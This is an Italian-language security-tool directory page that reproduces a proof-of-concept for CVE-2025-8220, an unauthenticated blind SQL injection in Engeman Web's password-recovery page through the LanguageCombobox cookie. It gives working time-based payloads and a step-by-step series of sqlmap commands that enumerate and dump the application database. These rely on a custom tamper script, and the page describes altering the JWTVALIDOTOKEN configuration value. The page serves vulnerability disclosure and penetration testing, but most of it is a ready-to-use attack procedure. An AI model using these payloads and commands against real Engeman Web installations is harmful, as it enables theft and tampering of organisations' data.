Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
engeman-web-language-combobox-sqli — Prova di concetto per lo sfruttamento della vulnerabilità descritta in CVE-2025-8220, che riguarda la possibilità di SQL injection durante il caricamento della pagina di recupero password nel software Engeman Web. | Kitploit
Strumenti/GitHubGitHub/m3m0o/engeman-web-language-combobox-sqli
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubm3m0o/engeman-web-language-combobox-sqli

engeman-web-language-combobox-sqli

Prova di concetto per lo sfruttamento della vulnerabilità descritta in CVE-2025-8220, che riguarda la possibilità di SQL injection durante il caricamento della pagina di recupero password nel software Engeman Web.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
310 mesi faNon ancora revisionato

Engeman Web <= 12.0.0.2 Iniezione SQL non autenticata nel caricamento della pagina di recupero password

Proof of concept per lo sfruttamento della vulnerabilità descritta in CVE-2025-8220, che riguarda la possibilità di SQL Injection durante il caricamento della pagina di recupero password nel software Engeman Web.

Descrizione

Una vulnerabilità che consente la manipolazione della query SQL eseguita durante il caricamento della pagina di recupero password è stata trovata nel software Engeman Web. Questa vulnerabilità può essere sfruttata da visitatori senza accesso a credenziali valide, cioè in modo non autenticato, per compromettere la riservatezza e l'integrità dei dati memorizzati nel database dell'applicazione, e potenzialmente causare denial of service a livello di componente alterando i valori in tabelle critiche.

Sito del fornitore

https://engeman.com/en/

Sfruttamento

Dopo aver effettuato l'accesso all'applicazione ed essere stati reindirizzati alla pagina di login, fare clic sul pulsante per essere reindirizzati alla pagina di recupero password.

Pagina iniziale di Engeman Web

Pagina di recupero password di Engeman Web

Controllate la richiesta effettuata dal browser per caricare la pagina di recupero password. Noterete che sono presenti alcuni cookie, tra cui il cookie LanguageCombobox, che viene memorizzato durante l'accesso iniziale. In questa dimostrazione è stato utilizzato il software Burp Suite per visualizzare e reinviare le richieste del browser in modo più efficiente.

Richiesta effettuata per ottenere il contenuto della pagina di recupero password

Per confermare la vulnerabilità, inserite un apice singolo come valore del cookie menzionato e reinviate la richiesta. Nella risposta dell'applicazione dovrebbe essere visualizzato un errore che indica un apice non chiuso.

Forzando un errore nell'applicazione tramite un apice singolo nel valore del cookie LanguageCombobox

I risultati della query non vengono visualizzati direttamente nella pagina restituita, rendendo questo uno sfruttamento di tipo blind (cieco). È possibile inserire payload come ' AND SLEEP(30)-- - o '; WAITFOR DELAY '0:0:30'-- per dedurre il database sottostante.

Dedurre il tipo di database sottostante tramite un payload basato sul tempo

Una volta confermata l'iniezione, è possibile utilizzare uno strumento automatizzato come sqlmap per eseguire il dump del database.

È importante notare che l'argomento --technique deve includere il valore SEB affinché vengano utilizzate tecniche basate su stacked queries, errori e confronti booleani. In primo luogo, perché è necessario uno sfruttamento di tipo blind; in secondo luogo, perché l'omissione dell'opzione S dal valore dell'argomento ha fatto sì che sqlmap non riuscisse a trovare il punto di iniezione nei database SQL Server.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

Utilizzo di sqlmap per testare il punto di iniezione

Verranno identificate diverse possibili tecniche di sfruttamento attraverso il punto di iniezione. Successivamente, è possibile recuperare le informazioni del database.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

Ottenere i database disponibili tramite sqlmap

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

Ottenere le tabelle disponibili tramite sqlmap

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

Ottenere le colonne disponibili tramite sqlmap

Per estrarre i record delle tabelle con sqlmap, è necessario utilizzare uno script tamper personalizzato (almeno per i database SQL Server) chiamato replace-dbo.py in questo repository. Il motivo è che i payload di sqlmap che utilizzano il formato <database>.dbo.<table> per fare riferimento all'oggetto tabella entrano in conflitto con l'elaborazione dell'applicazione. Il tamper menzionato lo converte solo nel formato <database>.<table>. Se l'istanza di Engeman Web utilizza MySQL o un altro database, questo tamper non sarà necessario, oppure se ne dovrà creare un altro.

Prova di un payload con il formato <database>.dbo.<table> per fare riferimento all'oggetto tabella

Prova dello stesso payload ma con il formato <database>.<table> per fare riferimento all'oggetto tabella

Ricordate che lo strumento sqlmap richiede che nella directory in cui si trova lo script tamper esista un file vuoto chiamato init.py affinché possa essere utilizzato, se non lo si è posizionato nella directory tamper predefinita della propria installazione.

root@kitploit:~
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py

Recupero delle configurazioni generali dell'applicazione

Questo tamper causerà conflitti se utilizzato in qualsiasi fase del processo diversa dal dump di una tabella specifica. Pertanto, non usatelo per ottenere i database (--dbs), le tabelle (--tables), le colonne (--columns) o informazioni aggiuntive come l'utente del database (--current-user).

Poiché l'utente utilizzato dall'applicazione per interagire con il database ha privilegi elevati nel contesto dei record di sistema, è anche possibile manipolare la query sottostante per modificare i valori dei record delle tabelle (questo è molto più semplice se l'istanza utilizza SQL Server come database sottostante).

Valore iniziale della voce unica della colonna JWTVALIDOTOKEN della tabella CFGGERAL

Modifica del valore della voce della colonna JWTVALIDOTOKEN

Valore modificato della voce unica della colonna JWTVALIDOTOKEN della tabella CFGGERAL

Impatto

Attraverso questa vulnerabilità, qualsiasi istanza del sistema sarebbe suscettibile al recupero non autorizzato e, possibilmente, alla modifica dei dati presenti nel database in uso.

Questa vulnerabilità è stata confermata nelle versioni fino alla 12.0.0.1, ma è probabile che anche una versione più recente sia vulnerabile.

Scarica lo strumento